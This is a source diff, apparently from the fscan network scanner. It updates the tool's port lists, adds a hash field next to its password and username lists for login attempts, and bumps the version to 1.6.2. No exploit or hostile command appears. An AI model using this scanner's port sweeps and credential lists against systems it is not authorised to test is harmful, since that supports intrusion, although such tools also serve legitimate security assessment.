var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1118,1888,2008,2020,2100,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018"
var DefaultPorts = "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9200,11211,27017"
var DefaultPorts = "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017"
type HostInfo struct {
Host string
Ports string
Domain string
Url string
Path string
Timeout int64
Scantype string
Command string
@ -50,6 +52,7 @@ type HostInfo struct {
Password string
Usernames []string
Passwords []string
Hash string
}
type PocInfo struct {
@ -85,4 +88,5 @@ var (
UrlFile string
Urls []string
NoPorts string
SC string
)

View File

@ -11,7 +11,7 @@ func Banner() {
/ /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.6.0
fscan version: 1.6.2
`
print(banner)
}

View File

@ -18,13 +18,13 @@ var WaitTime int64
var Silent bool
var LogWG sync.WaitGroup
func init() {
go SaveLog()
}
func LogSuccess(result string) {
LogWG.Add(1)
LogSucTime = time.Now().Unix()
if Start {
go SaveLog()
Start = false
}
Results <- result
}